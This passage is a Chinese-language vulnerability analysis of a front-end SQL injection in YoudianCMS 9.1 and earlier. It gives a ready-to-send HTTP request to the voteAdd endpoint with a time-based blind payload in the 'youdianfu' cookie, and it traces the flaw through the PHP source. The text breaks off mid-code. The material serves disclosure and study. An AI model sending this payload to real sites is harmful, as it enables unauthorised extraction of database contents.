漏洞描述
友点 CMS V9.1 前台存在 sql 注入,攻击者可获取数据库内容
漏洞影响
youdiancms <=9.1
漏洞复现
GET /index.php/Channel/voteAdd HTTP/1.1
Host: www.youdiancms90.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=pn9iofrfklen68u4205veml8s0; youdianAdminLangSet=cn; XDEBUG_SESSION=PHPSTORM; youdianfu[0]=exp; youdianfu[1]==(select 1 from(select sleep(3))a)
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
漏洞细节
变量控制
这里首先有一个可以直接赋值的变量,在 App/Lib/Action/HomeBaseAction.class.php
class HomeBaseAction extends BaseAction {
protected $_fromUser = ''; //微信内部号
protected $_isWx=0; //是否是微信浏览器访问
function _initialize(){
parent::_initialize();
$this->_assignPublicVar();
$this->_assignConfigVar();
$this->getTemplateConfig();
//获取微信帐号=======================
if( isset( $_GET['fu']) && !empty( $_GET['fu']) ){
$this->_fromUser = $_GET['fu'];
cookie('fu', $this->_fromUser, 31536000); //31536000秒=1年,有效期为1年
}else if( cookie('fu') ) {
$this->_fromUser = cookie('fu');
}
//===============================
}
主要看到下面赋值的位置,如果 GET
了一个 fu
,那么就会将这个的值赋值给 cookie
,这里的 cookie
方法可以跟进去看看,最后是加了一个前缀
$name = $config['prefix'] . $name;
最后是将 GET
的 fu
的值赋值给了 youdianfu
我们如果一开始就给 youdianfu
赋值,那么我们就可以直接控制变量 $this->_fromUser
sql注入
接下来可以找哪里用到了这个 $this->_fromUser
,可以直接搜索
我们这里使用参考文章中使用的 voteAdd
方法,在 App/Lib/Action/Home/ChannelAction.class.php
public function voteAdd(){
header("Content-Type:text/html; charset=utf-8");
$item = $_REQUEST['item'];
$appid = intval($_REQUEST['appid']);
$fromUser = !empty($this->_fromUser) ? $this->_fromUser : get_client_ip();
$_REQUEST = YdInput::checkTextbox( $_REQUEST );
$m = D('Admin/WxVote');
if($m->hasVoted($appid, $fromUser) ){
$this->ajaxReturn(null, '', 2);
}
这里会检测有没有 $this->_fromUser
,我们可以通过 cookie
设置,然后直接进入 $m->hasVoted($appid, $fromUser)
,我们跟进 App/Lib/Model/Admin/WxVoteModel.class.php
function hasVoted($appid, $fromUser){
$where['AppID'] = $appid;
$where['FromUser'] = $fromUser;
$n = $this->where($where)->count